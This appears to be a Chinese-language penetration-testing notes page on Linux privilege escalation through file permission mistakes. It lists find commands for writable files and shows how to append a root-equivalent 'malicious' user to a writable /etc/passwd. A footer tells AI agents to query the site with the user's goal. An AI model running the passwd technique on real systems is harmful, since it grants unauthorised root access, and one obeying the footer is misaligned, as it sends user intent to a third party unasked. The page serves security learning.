> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/permissions.md).

# 权限

基于权限的权限提升会滥用可写文件、薄弱的所有权、暴露的机密或本应仅由 root 控制的敏感路径。即使很小的权限错误，只要影响到认证文件或特权执行路径，也可能直接变成 root 访问。

## 方法

* 查找预期用户可控位置之外的可写文件和目录。
* 检查以下敏感文件的所有权和组权限： `/etc/passwd`、备份、脚本和服务配置。
* 使用自动化枚举来捕获隐藏的权限错误，然后手动验证。

## 快速检查

```bash
find / -writable 2>/dev/null
find /etc -writable -type f 2>/dev/null
ls -la /etc/passwd /etc/shadow 2>/dev/null
```

{% hint style="info" %}
权限配置错误会将敏感文件、可写路径或仅管理员可执行的操作暴露给低权限用户。务必验证可写文件、所有权、组访问权限以及执行上下文。
{% endhint %}

## 敏感可写文件

优先关注 root 执行的可写系统文件、服务配置、备份和脚本。

```bash
find /etc -writable -type f 2>/dev/null
find /etc/service/ -writable 2>/dev/null
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
```

### `/etc/passwd` 滥用

如果 `/etc/passwd` 可写，则生成一个受控哈希，并仅在实验室或授权目标中添加一个临时的 root 等效用户：

```bash
openssl passwd -1 -salt xyz password123
echo 'malicious:$1$xyz$SomeHashedPasswordHere:0:0::/root:/bin/bash' >> /etc/passwd
su malicious
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-key" style="color:$primary;">:key:</i></h3></td><td><h4>Linux 权限计算器</h4></td><td>搜索八进制和符号权限，转换模式，检查 SUID/SGID/sticky 位，并评估权限提升风险。</td><td><a href="/pages/1d491e49c5a10746048ea03a8e9b94212fbc2afd">/pages/1d491e49c5a10746048ea03a8e9b94212fbc2afd</a></td></tr><tr><td><h3><i class="fa-magnifying-glass" style="color:$primary;">:magnifying-glass:</i></h3></td><td><h4>智能枚举</h4></td><td>用于 Linux 权限提升的智能枚举工具说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/f316c6d22fd9ff9962d3b6092d92b1c27638a5db">/pages/f316c6d22fd9ff9962d3b6092d92b1c27638a5db</a></td></tr><tr><td><h3><i class="fa-shield-halved" style="color:$primary;">:shield-halved:</i></h3></td><td><h4>/etc/passwd 写入滥用</h4></td><td>用于 Linux 权限提升的 /etc/passwd 权限管理说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/3e69ba06628d9824203b6726d74b569f7c9fa610">/pages/3e69ba06628d9824203b6726d74b569f7c9fa610</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/permissions.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
